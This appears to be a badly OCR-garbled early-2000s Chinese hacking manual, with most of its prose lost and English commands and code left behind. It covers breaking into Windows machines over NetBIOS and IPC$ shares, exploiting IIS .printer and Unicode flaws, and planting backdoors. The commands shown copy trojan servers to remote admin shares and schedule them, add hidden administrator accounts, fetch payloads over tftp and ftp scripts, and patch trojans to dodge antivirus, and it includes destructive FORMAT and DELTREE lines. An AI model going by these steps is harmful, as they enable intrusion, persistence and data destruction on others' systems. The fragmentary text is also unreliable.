\\123.123.123.123\c
C D

\\IP\C

6
TOEESS——
i ® ter 1 Bl AT ARTHS R HETREF
= =
6

123.123.123. 123 C
\\123.123.123.123\c\ “Cc”
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30
MP3
Windows MS DOS
net view \\123.123.123.123

net use G \\123.123.123.123\C net use
C G
MS DOS
nbtstat A IP NetBIOS name PQwak http
//www.cners.com/tools/PQwak. exe PQwak 7

[
7
“ NBNAME” nbtstat NetBI0OS name “ SHARE”
‘AP 1P
“ DELAY” 56k DELAY

1000 2000 ADSL 800 900

PQwak

PQwak
PQwak “ the password is a or the password is wrong” DELAY
Legion WINOX
Legion C  \windows\
pwl pwltools
netspy3.0
NetBI10S
NetBIOS
TCP/IP NetBIOS
NetBIOS TCP/IP NetBIOS  TCP/IP
Win95
Win95 NetBI0S
Vnbt.386 Vnbt.out

Win95 Win9x WinMe

Win95 Win9x WinMe
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1.

4

NetBEUI

NetBEUI

“ ” “

“ NetBI0S” “

WINNT
WindowsNT

- - NetBIOS

NT
net

Win2000

Win2000 u

NetBIOS

1 ”

NetBEUI
NetBEUI
! “ TCP/IP - ”
TCP/I P — ” “ ”
“ K “ TCP/IP " “ "
“ " Windows u
TCP/IP = " “ TCP/IP "
TCP/IP NetB10S” “
NetBIOS  TCP/IP
~WINS TCP/IP = " w "
NetBI10S
! NetBI0S
” “ I P ” 1
139
Windows *“

w2 ARST

DfArTisT
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Internet
1 Internet

INTERNET
[E 2]

e [y B, 1Y

= ([ ESnE : i
i — LU i — (S |

1
A B C A Internet
C B A C
B B IP
IP IP A 1P192.168.0.2 IP
IP IP
A Internet C B 1 B
IP IP 192.168.0.1 IP 202.96.96.47
Internet B IP A
C Internet B IP C A
A C A B IP  192.168.0.2
202.96.96.47 C IP  202.96.96.47
A
1 2

oL ) s ]

= E W

2
D
C Cc
C D IP Cc D
D ISP
Cc D IP ISP
C ISP
ISP ISP C D
Cc
2 D
B 202.47.23.65
202.96.96.47 Cc B

D D
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B C B IP P
B B
D IP D IP ISP
ISP 163
163 163 ISP ISP
P
3
b DI AT, I3 u‘h—“z.
—s e
"E_*'l «rrri i
DREES o DHARE J; I AERE -
2, Al :.:"' B AT B it
(CrEEM) T CAAE) [
3
E P
P IP
P E IP
100.0.0.0—201.96.255.255  IP
D B 1P202.96.96.47 P E
P IP
P P D
B IP 202.47.23.65 192.168.0.2
IP E D
C 192.168.0.2 IP INTERNET
P C
D) IP cC C FTP
SMTP DNS
ROOT ROOT
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ROOT
UNIX
1
utmpc wtmp lastlog
2
touch accton
lastcomm
3 UNIX syslog
IP IP 0 255
IP IP IP
IP
IP A B C
IP
10.0.0.0 10.255.255.255
172.16.0.0 172.31.255.255
192.168.0.0 192.168.255.255
INTERNET IP
INTERNET IP
IP
2000 ASP CGI
60 70 Beta7
ASP CaGl
ap cgi
ASP  CaGl WEB
dic

net china

bbs
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bbs ASP Cal
user  password
test

isp cookie

WS AR A DN &(TY

/

Server Glient
Server

Cleaner LockDown

4. E Mall
E Mall

5. Cleaner LockDown

8. IE “ - Internet N - Internet “ "

9. ActiveX IE ActiveX
Java IE “ = Internet
" ActiveX Java “ "
ActiveX



2001

10.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curren  Version HKEY _
CURRENT _USER\Software\Microsoft\Windows\CurrentVersion HKEY
USERS\.Default\Software\Mi crosoft\Windows\CurrentVersion “ Run”

11

\windows\start  menu\programs\startup
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders Startup="C  \windows\start menu\programs\startup"

12. Win.ini Win.ini windows “ load=" * run="

[LR— |

run=c \windows\nOtepad.exe
load=c \windows\nOtepad.exe
nOtepad.exe “n “ o “ 0"
13. System.ini  System.ini Windows boot
“ shell=Explorer.exe”
shell=Explorer.exe nOtepad.exe nOtepad.exe
System.ini 386Enh “ driver= \ "

System.ini mic drivers drivers32

14. Autoexec.bat  Config.sys C

Autoexec.bat  Config.sys

15. C  \windows\winstart.bat Winstart.bat
Autoexec.bat Windows
Windows Win.com
F8 Autoexec.bat
Winstart.bat Autoexec.bat

16. NI INI
INI wininit.ini
17.

18. 1024
netstar a IP
1024
7626 B0O2000 54320 Netspy3.0 7306 2001 2001 WAY24
8011 8311 234444 7511 YAI 1024 Sub seven
10436678 6711 27374 Netbus 12345
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19.

20.

1 3kbps 1 3
ftp

T2 e “LTE BN

! Code Red
9 25 13 ” 1
” 20 13
II'I'I
80 web
1 Web /msadc/root.exe  /scripts/root.exe
C \inetpub\scripts\root.exe
C \progra 1\common 1\system\MSADC\root.exe
2. c \explorer.exe d \explorer.exe
explorer.exe
“ exploer.exe’ “ exploer.exe’
" “ exploer.exe” “ 1" " exploer.exe’
C \exploerexe D \exploer.exe
3.
HKLM\SOFTWARE\Mi crosoft\Windows NT\CurrentVersion\Winlogon\
SFCDisable OFFFFFF9Dh
0 OFFFFFFODh

HKLM\SY STEM\CurrentControl Set\Services\W3SV C\Parameters\Virtual Roots\
Scripts 217 201
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HKLM\SY STEM\CurrentControl Set\Services\W3SV C\Parameters\Virtual Roots\

msadc 217 201
Scripts
HKLM\SY STEM\CurrentControl Set\Services\W3SV C\Parameters\Virtual Roots\
c c \ 217
C web c
HKLM\SY STEM\CurrentControl Set\Services\W3SV C\Parameters\Virtual Roots\
d d \ 217
D web d
C D
4, CodeRed
Windows NT 4.0
CHSQ 300972i.exe
Windows 2000

Q300972 W2k_SP3_x86_cn.exe

tae e 00RO eRRRRR
se0e0BGORBRER
cesssssnsssssssssssss WindowsNT
tetasd e s BRORORRRRR
R R E XN ERERN.
(LA A RN E RN RERNESNSHEDNHSHEHNHJ]
T I T I TR R T TERR RN Y E:mﬂﬂw
Internet WindowsNT
NT
Windows95 “net Q WSERVER NAME\SHARENAME”
7 NT
1 NTFS FAT
NTFS NT ACL ACL
FAT
Internet WindowsNT NTFS
NTFSACL
“ ” “ " WindowsNT  NTFSACL
Internet Internet
NTFS NT
Everyone “ § FAT
x86 NT convert NTFS
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NT  UserManager 5
“ Administrator”
UserManager  UserProperties “ User” “ Rename’
Internet
Guest
NT4.0 ResourceKit
3.
NT NT
UserManager “ Policies’ “ Audit”
NT FileAccess UseofUserRights
ProcessTracking
NT
E mall NTPerl
4. TCP/IP NetBIOS
Internet NT NetBEUI  TCP/IP Windows
Windows \\WNAME
NetDDE Internet
Imhosts NetBIOS IP
Windows95 EventViewer  UserManager Internet
NT TCP/IP NetBIOS
NetBIOS TCP/IP
NT Server
Workstation Internet NetBEUI
5. TCP/IP
NBT TCF/IP NetBIOS

NT Web  FTP
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80
21 FTP
Web FTP
137 138 139 IP NBT
IP
IP
1
2. Web
3. E mail
4, IP
5. JavaScript  ActiveX
6. Access from Network
NT Everyone Access from Network
Windows Web
NTWeb SYSTEM
NT NT FTP
FTP Microsoft Internet Information Server
FTP Accessfrom Network
Access from Network Web FTP Internet
NetBEUI
Access from Network
7.
Internet WindowsNT
FTP
ftp>open ftp.myhost.com
Connected to ftp.myhost.com
220 ftp WindowsNT FTP Server
Version3.51
[ISFTP
Connected to ftp.myhost.com.
220 ftp Microsoft. FTP Service
Version2.0
NT NT
NT Unix NT Unix
Unix Internet
NT Internet

HTTP

s

Unix
WindowsNT
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A T W REN

WWW.XXXXXXXX.comf

Web 80
Web
4 2 C IP
ping
C
4 3 C IP
4 2 37
“ ” 37 IP
root o Web
“ i P27
37 IP “ i
win2000
IP
UNIX LINUX
Windows
Web Web
Web
“ ” 1P27 NT
LINUX SATAN NT eEye RETIAN
“ ” PC 2000 NT
23 “ Win2000 NetDDE

" Microsoft Windows 2000
Professional  Microsoft Windows 2000 Server Microsoft Windows 2000 Advanced Server
23 telnet Super User
login 2600
“ Win2000 NetDDE " exploits
Super user Super User

Super user

4 6 P27 Kendall
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Web

Kendall

XXXXXXXX

WWW root

root

180

Web
IP
Web
SCO Unixware 7.1.1
Kendall login “ i Web
Kendall Kendall login
root Tridia DoubleVision
3.07.01
“ Tridia DoubleVision K
C
root exploits
Web Kendall
login
Web
“ " HXXXXXXXX
Web login Lo
index
IP
P27 Web
Web
kill
180
Heml Web “ "
etc chinawill.o
Web P27

1P27
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P27
Web
Web
“ @ A K P27
Web 23
P27
23 telnet

iV EALTEATLYERY ALY RYLVLYE YN RLVLVLY.N LY

1 NAT

Sygate  Wingate
Sygate 7323.
RAS
sygate  NAT

telnet 192.168.1.1 7323
SyGate 3.0 for Windows 95/98/NT build 522
Welcome to SyGate remote controller
For security purpose  SyGate remote controller can be access
only from your Local AreaNetwork ~ LAN
==== Function Key ======
PStop SyGate Service
DDisplay SyGate Status
NTo Did Dia Up Networking only
FToHangUp  Dia Up Networking only
TDisplay All TCP Connection s
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UDisplay All UDP Connection s
Ready to accept command. Press one function key  or 'H' for help.
P sygate

Wingate3.0
1
URL
http  //www.server.com  8010/c / NT/Win9x
http  /lwww.server.com 8010/ NT/Win9x
http  /lwww.server.com  8010/..../ Win9x
2 WinGate
Winsock 2080 2000 Byte
Winsock
3  WinGate 3.0
WinGate

include "stdafx.h"
include
include
main intargc char argv

char i

for i=0 i<srlen agv 1 i

putchar argv 1 i ™ char i 1 <1
return O

WinGate
2. D.O.S
Win 98

3389 Admin
D.0O.S
5 Win IGMP
IGMP 1000
139 98

IGMP
DoS
3. SMB
Windows SMB “ "
Windows95 98  Windows Millenium
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SMB “ \\ip"
13 Mo I P ”
SMBScanner http  //www.cners.com/tool s/smbscanner.zip

Windows95 98 and Millenium “ “ "
* command” WindowsNT/2000 “ cmd”
“ nbtstat  aipaddress’ “
Local Area Connection

Node IpAddress 4.3.37. XXX Scope Id
NetBIOS Remote Machine Name Table
Name Type Status

MATRIX <00> UNIQUE Registered

WORK GROUP <00> GROUP Registered
MATRIX <20> UNIQUE Registered
MATRIX <03> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered
WORKGROUP <1D> UNIQUE Regjistered
..__MSBROWSE__.<01> GROUP Registered
MATRIX <6A> UNIQUE Registered
MATRIX <87> UNIQUE Registered
MACAddress=00 80 C6 F9 X X

NetBIOSname  MATRIX NetBIOS
name password
PQwak http  //lwww.cners.com/tools/PQwak.exe
NBMAME nbtstat NetBIOS name
SHARE
IP IP DSL
DELAY 56k DELAY
1000 2000 ADSL 800 900
PQwak
PQwak Do what you

exactly want to do
PQwak “ the password isa' or the password is wrong” DELAY

POP3 FTP TELNET
Netxary
Foxmail
NetXray Client  Server PASS
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Control.exe Regedit.exe Msconfig.exe.

IE file /llc /windows/control.exe
WINDOWS98
WINDOWS95 EXPLORER.EXE
[
IE
“ WEB
IE WEB “
[ ]
OUTLOOK FOXMAIL
MSCONFIGEXE.
MSCONFIGEXE NOTEPAD.EXE
NOTEPAD.EXE
TIXT .REG “
REGEDIT4

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
"NoDevMgrPage'=dword 00000000
"disableregistrytools'=dword 00000000

NOTEPAD.EXE

“ STARTING WINDOWS " CTR

C \MSDOS.SYS BOOTKEY=0 RESET
CTR ALT DEL

° DOS
DOS DELC \WINDOWS\ .PWL.
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DOS DELTREE C \SMENU
FORMAT C /Q/U. FORMAT DELTREE DEL
DEL DOSKEY DOS SET
“ DOSKEY DEL="
Windows2000
2001 5 4 20
4
Windows 2K
2k
4
lipc
2.5QL Server
3.
4.11SISAPI Printer
MS Windows 2k
v 2001
MS SQL Exec for NetHackerll| MS SQL MS SQL
ShadowScan
2.2
pscan.exe pscanl|S ISAPI Printer 100 cniis.exe
pscanl1S ISAPI Printer hax  admin
ip XXX XXX XXX XXX nt
> POP3/FTP/NT Ctrl r > IP
NT/98 > 1
CECTT
1=l
wedlE: Broo
LT |i.'1:t ]
SRS [ =]
=R i EATE i E HiFrant ¥ uge B B A STTHEFIFNE
Bt aasE [(exo | [(®eo |
1
IPC 13 IPC ”

“ I PC ”
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AEEEER N LT TR

0 Bt s s 41 o T A

n | E¥es || &a | Wa |

2
XXX XXX XXX XXX

Administrator Administrator
NT net use <\IPAddress\IPC >  "password"

<fuser "username">
net use <<\\IPAddress\IPC > /delete

Telnet NetCat Srv.exe
NT Telnet 99 tools
G_server tools
cmd
net use \\XXX.XXX.Xxx.xxx\ipc """ fuser  Administrator

copy \tools\srv.exe \Wxxx.xxx.xxx.xxx\admin \system32
copy \tools\G_server.exe \\xxx.xxx.xxx.xxx\admin \system32

net time XXX XXX XXX. XXX
3 25

at \WXXX XXX XXX XXX 3 27 srv.exe
ID=1

3 27

telnet XXX.XXX.XXX. XXX 99

G_server.exe
SQL Server NT s Web Server  NT
SQL Server SQL 2000
v 2001 3
TRITE
sl oo

L LR TR

MEImAR [ =] it
(SR L bl tE A HeFr rot Foge BT TS0 o P R L
Esrmsnaincand®  [www | (o |




2001

4
>SQL Cirl Q

SQL Server SqlExec SQL Server

SA
heihoo heihoo.com.
net user heihoo heihoo.com /add
heihoo Administrator
net localgroup administrators heihoo /add
admin ipc

SqlExec 5

5
v MySQL
root http  //www.mysgl.com
win2k ipc ms sl
net win 2k unicode ISAPI

Printer

Server2000

Server2000
Supperscan
Supperscan 3389 80
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Server2000
3389 80
iis5.0 web .printer spk2
iisx3.0 1S5 .printer
.printer admin cmd.exe
11.22.33.44
E \iisxciisx.exe11.22.3344 a
sending shellcode...
Now net use\\11.22.33.44\ipc ~ "hax" /user "hax"
E \iisx>net use\\11.22.33.44\ipc =~ "hax" /user  "hax"

11.22.33.44 admin

hax/hax
tftp
sock
cmd.exe snake sksockserver http  //snakel2.top263.net
ip 11.22.11.22
c \hax>tftp | 11.22.11.22 get skqgui.exe

tftp ftp winzip

1913 config option
server port
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sock5
oicq oicq ip
SocksCap ie http sock5
sock5

FIM unicode ik
A H CISfCERNR 55 25

/Nicky
snake  sksockserver socksb
32K tcp udp oicq

4 http //www.netxeyes.com/
SkSockServer http  //snakel2.top263.net
http  //dzc.126.com/

win98 winme win2k winxp winnt4.0 winzk winxp winnt 4.0
ftp ftp ftp
ftp.server.com tom pass SkSockServer.exe
char.exe ftp
1 C pp.txt

echo open ftp.server.com>af .txt
echo tom>>af .txt

echo pass>>af .txt

echo bin>>af .txt

echo get char.exe>>af .txt

echo bye>>af .txt

ftp s af.txt

del a.txt

del af .txt

char  debug 5262
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dos

ftp
pass
bat pp.bat
pp.bat char.exe
ftp
ftp
echo
echo hello
hello
S dos
echo hello>atxt
hello atxt
hello atxt
pp.txt

echo open ftp.server.com>af .txt
echo tom>>af .txt echo pass>>af .txt

echo bin>>af.txt echo

get char.exe>>af .txt echo bye>>af .txt

open ftp.server.com
tom
pass
bin
get char.exe
bye
ftp s
af txt ftp
tom
bye ftp
5262 5262
2 4
210.59.70.1

af .txt
pass
del atxt del af.txt
socks5

Ctrl R

210.59.72.254

unicode

ftp.server.com  tom
pp.txt
pp.bat
char.exe
char.exe
pp.txt
dos
atxt
o> ">
af .txt
ftp.server.com ftp
char.exe
atxt  af.txt char  debug
IP
I1S/FrontPage
5
Remote Excute X X A E
s CMD
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3
echo hello>a.txt

A.
echo hello>a.txt

echo hello>a.txt
Accessis denied.

C.
echo hello>a.txt
HTTP/1.1 502 Gateway Error

A C
local file ¢ \pp.txt
c \pptxt

local file ¢ \pp.txt

echo open ftp.server.com>af .txt
echo tom>>af .txt

echo pass>>df .txt

echo bin>>af .txt

echo get char.exe>>af .txt

echo bye>>af .txt

ftp s af.txt

del af .txt

char  debug 5262

“  HTTP/1.1502 Gateway Error " local file ¢ \pp.txt
Connect Failed

local file ¢ \pp.txt
4
IP 5262 socksb free
local file ¢ \pp.txt
IS unicode
unicode
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5 skserver
ok
sockscap nece border client
unicode
sksockserver

char  debug 5262
snake

Named

/Bytes

Mandrake 7.0 bind user/group  root

named
redbind
redscan

redbind
cd redbind

Jredbind 61.132

B
Jusr/sbin/adduser www WWwW
Jusr/bin/passwd www
rootshell crl ¢

=R

skserver

socks

IP

unicode

s

linux
redbind

redbindl

ctrl

socksb

redbind.tgz

rootshell
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Level up
/
Resource
1.
2.
3.
VC 6.0 UltraEdit32
upx
F  \lab\hack\binghe\ G_Server.exe
G_Client.exe
alfl =
LA e Sk freied pes Possl Ddeer f0 e sl =
D@dd @R s s A@A| - == A h R QDN 5 Fe
] |
o utret | Lo e o e b e e et e =
Fules = | 0G0 0D B3 G0 OO 59 OO 33 §O M 10 30 00 OF 93 U
T GILiiiiiiiiiiing
n BN B3 NN 31 00 OO B3 OO0 OO 3 o4 DD 33 7O DT 349
D2 T (0 £9 OO0 O4 B9 OO0 DO 3 OO0 DO 30 OO0 OF 34 J
1ol b0 D B wD OO0 BE DO BE RE TR YR b 0D DF 30
o Dl O B 0 T N RN Dd 5@ =) 0 30 FEODF 00 0
b2 G0 Oh B4 00 OO B3 00 Db 3 00 DE 49 00 OE 20
[T ]
A
1 1L T T T
i L] o1 Ceperighe 000 LR
I LETEL] T3 AH 1 G HE Lasmin @
[T FT] Ar 0 Gleal § MedNes O
TR ] i
2l 4 = o] L]
T 't} o
a0 m A an m i
AP KL 43 i Wi
LRI 55
LR L] % 3 PY one digmpdsme
41 m T an w3
& W 4 s 1
[ T L ef
Fd 3% 0 Fr BL 1
BE KN 4 ay oy
11 4 oo zr 7 oo i
CF B2 il ] I
0 OE T r a1k a8 1
W3 W1 M AN 34 IF 3N B4 BE RN IS 43 64 - L TET S
i, crmn B WFT_—WHWFF
1
UltraEdit32 G_Server.exe 1
Info  Thisfileis packed with the UPX executable
packer http  //upx.tsx.org UPX
UPX UPX zip

F  \lab\hack\binghe\ 2
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2
upx.exe

Usage  upx 123456789dIthVL gvfk ofile file.
Commands

1 compress faster 9 compress better

d decompress I list compressed file

t test compressed file \% display version number

h give more help L display software license
Options

q be quiet v be verbose

OFILE writeoutputto  FILE'

f force compression of suspicious files

k keep backup files
file.. executablesto de  compress
Thisversion supports  doslexe  doslcom  dos/sys  djgpp2/coff  watconvle
win32/pe  rtm32/pe tmt/ladam  atari/tos  linux/386
UPX comeswith ABSOLUTELY NO WARRANTY  for detailstype  upx L'

Commands
UPX | 1 9 UPX d
G_server.exg

F \lab\hack\binghe>upx  d G_server.exe
Ultimate Packer for eXecutables
Copyright C 1996 1997 1998 1999 2000 2001

UPX 1.20w Markus F.X.J. Oberhumer Laszlo Molnar May 23rd 2001
Filesize Ratio Format Name
upx G serverexe  IOException  fileiswrite protected skipped

Unpacked O files.
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F \lab\hack\binghe>upx  d G_server.exe
Ultimate Packer for eXecutables
Copyrignt C 1996 1997 1998 1999 2000 2001

UPX 1.20w Markus F.X.J. Oberhumer LasziloMolnar  May 23rd 2001
Filesize Ratio Format Name
693248 < 266240 38.40 win32/pe G_server.exe
Unpacked 1 file.
G_server 266KB 693KB
G Client.exe 1318KB
vC 6.0 Resources Executable Files .exe .dll
3
o i
WERED): [ i =l + & cf EB-
iy _Chert
= _server
g
FESM: [ Client 130 I
IESET): |Ereeutable Pales ©ame: dil: o) =] Bl I
™ ELREnE#
{TFF A, |Resources =
]
3
icon MAINICON 4

B Clienbese - "SATNICON (Toon) i [=]
Dewige: |I12x32. 256 colors - &

icon MAINICON Improt

.0CX

icon MAINICON MAINICON



2001

G_Server.exe

G_Server.exe
UPX

UltraEdit32
Search=>Find

| EREI WRL W AR TRT WRE T
bl - = - H =
SN | i

|_|$§EJI:I

BTk o T g

hfmil  amem

upx 9 G _Server.exe

G_Server.exe

05181977 ASCII 6

7™

EERAZRRSEROSRAE

CEFSFEF T BRI R R R S R R 4]
SEEEIRERIEOC

ERE

i Im oo
r OF CE

UltraEdit32

~

26 N1 GLOFD BC PR OBA T TY 4B 4 BE KR
Ak 0 51 0 O D 00 0D BY TE O BN

OF @ 40 BN L A0 W) JT CE BT DRI

18 T 41 7 L EE DT OO 3L 00 10 B o0

30 &6 41 4P &0 53 00 0P 46 AL 48 42 KT

Au de 40 By 00 BOED DY B CE BT OBE BE

€0 Oh B L 1 PR OB Of Wi o0 00 BB TS

FE Kl Cd Ok 30 BE B ED CC TH B CN BT

33 WT £3 SC TA BF Bk T1 EE Bk 10 B2

PR B BT PR OBL B2 BT AL R 1 B2

FE bk 30 ) B0 B8 0L &L OO D0 D6 OF

BN ©1 dd SC ©4 BC TE o3 FE Bk 30 B

¥ U CE FL &4 PT 3k ID B9 EE £ ER

£8 OF B4 bk 40 BB AE & TV oA 0

B5 () D 0 0 D O 00 B 30 4 W "lﬂ-'-lwu

AN O 4 BT T4 4N BG40 49 3T 4R T Y 30 ¢ sle.lekeFad.ewe
H'“lli“mﬂl“dhmllmﬂ.ll.ﬁ.‘n ........
1 UL LT 0K B

IE B3 I :rl..:--ruh-:u:r-e-uhn-c--'ll ks
erllmm:lrnu:.n:uu-ﬂﬂ.rﬂ »FREEF:
EF B- £d 2N 1 BN OFL OO Ed RS BY NI == rd - M 1A, ‘:
FAEL AT ) BC PO Ak 5% Fi b oL i e oo 0 Mo B

Fi B8 AF B2 08 CF E5 BB PR OO DL BS b [« .'-- !‘-Z".E

BN NI BA BC R CF BN BB PR OO A B OB B RS AG
HE BN Fi Tk LT BE BC OO Cd EE PT B4 5k 08 ; M o . FEa
BE BC CH SR D BN PR OO DA BE FTOBA RK D9 C :'Ilﬂ:'-.l:'l'l:

Cio B B3 b4 B BT FL CE P CF P B8 Ob BG -

Fil W} dC &7 WS B0 Bh 3% CN EN D= BN KA PR r :: l""l!'l'f
B3 &1 £1 ES B £3 39 0L B TE €E F3 26 PT
I:ﬂl!ﬂll::HH:1F|HHHH.-=E:H.HIJ
£F EL Ba ZF 00 37 &3 68 o 6T FF W a0 PP 0 RREE L Numkow

B3 Ok BT R B CF ) O OF BF B OEF K A r n!" BERI
Bl SR CF BN ED EO NL BN BN KN ©L BA 30 3K ¢ ..fR Iﬂﬁ.-
EE EE TH LL #C 4F §7 OO Cd EE FT BS IS BC & 1

B2 OR P BB AF B 20 B oAl O DL CF P B -nti

7

UltraEdit32

G_Server.exe

05181977
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05181977  binghe

upx 8
N g 8 85 O
e fa_Chant Ia_5= Cipsrshs g
“";‘I‘) o vinses weare debachad in the scan,
= |
8

%‘Hﬁiﬁ%
/
Windows 2000 TELNET NT4

NTLM NT LAN MANAGER

WIN2K TELNET
2. TELNET

5. TELNET

TELNET COPY
AT TELNET

regedit.exe 192.168.0.12 1
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= 2]
SRy iy §fro wilke e
t 1] Coaliack F epeery ] [ Em 7] [T]
¥ R =y i, PEreN
i | WP | Midgdnd Thd - " Vi
& | Boe i
v ] B ) i
™ 3 3 _ P s LT e " e g
1] T Tk L
I S bk [
o4 | D
e £
¥ ] Trpe ] -
I Tl B -
w1
S =
L ] 2 |s] L}
A3 BT LR, M THE TR T A s sl | bl e r L3

1
HEEY_L OCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0 NTLM
A “r “o
TELNET
“ netsvc \\192.168.0.12 telnet /start” TELNET

0 NTLM /
1 NTLM /
2 NTLM

telnet WIN2K TELNET
“ Internet

LOOK

192.168.0.12
NET USE 2

& mem ~cAFE 1B B 12wipcd pazzvd Sumzmriadnin
ol o

admin passwd
TELNET 3

Crinntees ~AFIIGH.A.LE celnat sotawe
ice iz pmnding zbart on S1YE U LEH OHLDE

TELNET
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- — — 5

21

ER REAE gm |Fe |wm |Pe | ®E |

! wEWTA

T T L
CE T C——

BE&Eq: I"E:ﬂ Lol op K sps el end wxe
m[ﬁ] |!llﬂ[|ﬂ'|'!!.‘l:ﬂEhTrﬁl

ITE |.'-"E

Earty: [FaEd =]

=ik 0T TR (ST I Tk
ERERD . | TNEsC. |

o= ] ®=m | =Rw |

5
" cmd.exe

x
NN (L T

EL Whidmini strater IHRHETTEERE )
F E\TFRanH =8 S TR )

BREm |||h|r.
=R P [ransas

5 Q) |

[ mx | ®mm |

/ admin cmd.exe

telnet 192.168.0.12 7
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{2 H Microsedt Tolsat 0508

TELNET

cmd.exe

a s wbdeE

TELNET
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NT  Admin

ficeblood
NT NT
“ NT  Admin
“ ” NT
Admin
192.168.0.1  Administrator
139
NT
\\192.168.0.1 1 2
Admin
NT IPC NT
IPC IPC NT NT
IPC
“ \\192.168.0.1"
IPC
IPC
“ \\192.168.0.1\c "~ C
D “ \\192.168.0.1\D ~ D
WEB
“ 8 C
¢ \winnt Hack.bat
net user hack 1234 /add hack 1234
net localgroup administrators hack /add hack
del C \Documents and Settings\administrator\ ” \ \ \hack.Ink
del ¢ \winnt\hack.bat hack.bat
IPC
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Telnet Telnet
Netsvc.exe
IPC "
“ 8 “ netsvc\\192.168.0.1 telnet/start”
5 Telnet “ telnet 192.168.0.1" NTLM
“ 8 NTLM
Ntlm.exe “ copy ntim.exe\\192.168.0.1\admin \system32”
Ntlm.exe System32
“ net time \\192.168.0.1" 18 00 “at
\\192.168.0.118 02 ntim.exe’ ID=0
18 02 Ntlm.exe 18 02 “ telnet 192.168.0.1"
Telnet
Netsvc At
NT “ ”
IPC IPC “
8 “ 8 “ 192.168.0.1 NT
IPC ©o 192.168.0.1
Telnet IS
NT
” Telnet NTLM
“ telnet
192.168.0.1" NTLM
Telnet “ netview”
Telnet IPC
IPC
192.168.0.2 “ net use
\192.168.0.2\ipc " passwd /user  username’ IPC
“ net use z \192.168.0.2\c ” 192.168.0.2 C 192.168.0.1 Z
“z 192.168.0.1 192.168.02 C



Internet WEB

WEB MIME
13 ” WEB
MEMI HTML
NT
3389 3389  Win2000
s s WEB c
\i netpub\wwwroot |l Sstar.asp NT4
NT WEB s
leyas
/ NT
Windows2000 Taskmgr.exe
Windows GUI
M Resource Kit
1
2 DLL
NT
PSAPI
M Windows NT Process Status PSAPI.DLL
NT4.0 PSAPI 14 PSAPI.DLL

19

ANSI Unicode

ID
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/
Module ps.c
PSAPI ID Only for NT/2000
/

include <windows.h>

include <stdio.h>

include "psapi.h"

pragmacomment lib  "psapi.lib"
void PrintProcessNameAndiID  DWORD process|D

char szProcessName  MAX_PATH  ="unknown"

1l

HANDLE hProcess = OpenProcess  PROCESS_QUERY_INFORMATION |

PROCESS VM_READ
FALSE  processiD
1l
if hProcess

HMODULE hMod
DWORD cbNeeded
if EnumProcessM odules hProcess hMod sizeof

GetModuleBaseName  hProcess hMod  szProcessName
sizeof  szProcessName

1l ID
printf  "\n 20s 20d"  szProcessName  processiD
CloseHandle  hProcess

void main
DWORD aProcesses 1024 cbNeeded  cProcesses
unsigned int i
Il ID
if EnumProcesses  aProcesses  sizeof  aProcesses
return

[/l Cdlculate how many process identifiers were returned.
Il
cProcesses = cbNeeded / sizeof DWORD
1 ID
for i=0 i<cProcesses i
PrintProcessNameAndID  aProcesses i
return

hMod

cbNeeded

cbNeeded
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PSAPI shotgun /
DLL DLL
DLL http  //www.patching.net/shotgun/ps.zip
C
ToolHelp API
PSAPI NT Windows9x
ToolHelp AP M Windows NT
ToolHelp Windows NT Process
Status PSAPI M ToolHelp Windows
2000 ToolHelp 12
ID

/
Module ps.c
ToolHelp ID Only for 9x/2000

include <windows.h>
include <tlhelp32.h>
include <stdio.h>
int main
HANDLE  hProcessSnap = NULL
PROCESSENTRY32pe32= O

hProcessSnap = CreateToolhelp32Snapshot TH32CS SNAPPROCESS
if  hProcessSnap== HANDLE 1

printf  "\nCreateTool hel p32Snapshot failed d" GetlLastError
return 1

pe32.dwSize =sizeof PROCESSENTRY 32
printf  "\nProcessName  ProcessID"
if Process32First  hProcessSnap pe32
do
printf  "\n 20s d" pe32.szExeFile  pe32.th32Process|D
while  Process32Next  hProcessSnap pe32

ese

printf  "\nProcess32Firstt failed d" GetlLastError
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CloseHandle  hProcessSnap
return O

NTDLL.DLL API
MS API
APl

APl NtQuerySystemlnformation

include <windows.h>
include <stdio.h>
include <stdlib.h>
typedef unsigned long NTSTATUS
typedef unsigned short USHORT
typedef unsigned long ULONG
typedef unsigned long DWORD
typedef long LONG
typedef _ int64 LONGLONG
typedef struct
USHORT Length
USHORT MaxLen
USHORT  Buffer
UNICODE_STRING
struct process info
ULONG NextEntryDelta
ULONG ThreadCount
ULONG Reservedl 6
LARGE_INTEGER CreateTime
LARGE_INTEGER UsarTime
LARGE_INTEGER KernelTime
UNICODE_STRING ProcessName
ULONG BasePriority
ULONG Processld

NTDLL.DLL

typedef NTSTATUS _ stdcall ~ NtQuerySystemInformationl

IN ULONG SysInfoClass
IN OUT PVOID Systeminformation
IN ULONG Systeml nformationLength
OUT PULONG RetLen

int main

pwdump?2

pwdump?2
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HINSTANCE hNtDII

NtQuerySystemlnformationl NtQuerySystemlinformation
NTSTATUSTrC

ULONG ulNeed =0

void  buf = NULL

size tlen=0
struct process info  p
int done
hNtDIl = LoadLibrary ~ "NTDLL"
if hNtDI!
return O
NtQuerySysteminformation = NtQuerySystemlnformationl GetProcAddress
hNtDII
"NtQuerySysteml nformation"
if NtQuerySysteml nformation
return O
do
len =0x1000
buf =realloc  buf len
if buf
return O
rc = NtQuerySysteminformation 5  buf  len ulNeed
while  rc == 0xc0000004 /I STATUS_INFO_LEN_MISMATCH
if rc<0
free  buf
return O

printf  "\nProcessName  Process|D"
p=  struct process info buf
done=0
while done

if p >ProcessNameBuffer =0

printf  "\n 20S d' p >ProcessNameBuffer p >Processld

done=p >NextEntryDelta==
p=  struct process info char p p >NextEntryDelta

free buf
FreeLibrary  hNtDII
return O
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PDH /
PDH
PDH PDH Performance Data Hel per Windows NT
Performance Data CPU
Windows 9x

MS Performance

Data Helper PDH.DLL

Windows 2000
PDH Admin
/ PDH
PDH API

/

Module ps.c

Author  mikeblas@nwlink.com
Modify  ey4ds<eyds@2lcn.com>
Http //eyas.3322.net

Date 2001/6/23

include <stdio.h>
include <windows.h>
include <Winnetwk.h>
define INITIAL_SIZE 51200
define EXTEND_SIZE 12800
define REGKEY _PERF
define REGSUBKEY_COUNTERS "Counters'
define PROCESS _COUNTER "process’
define PROCESSID_COUNTER  "id process"
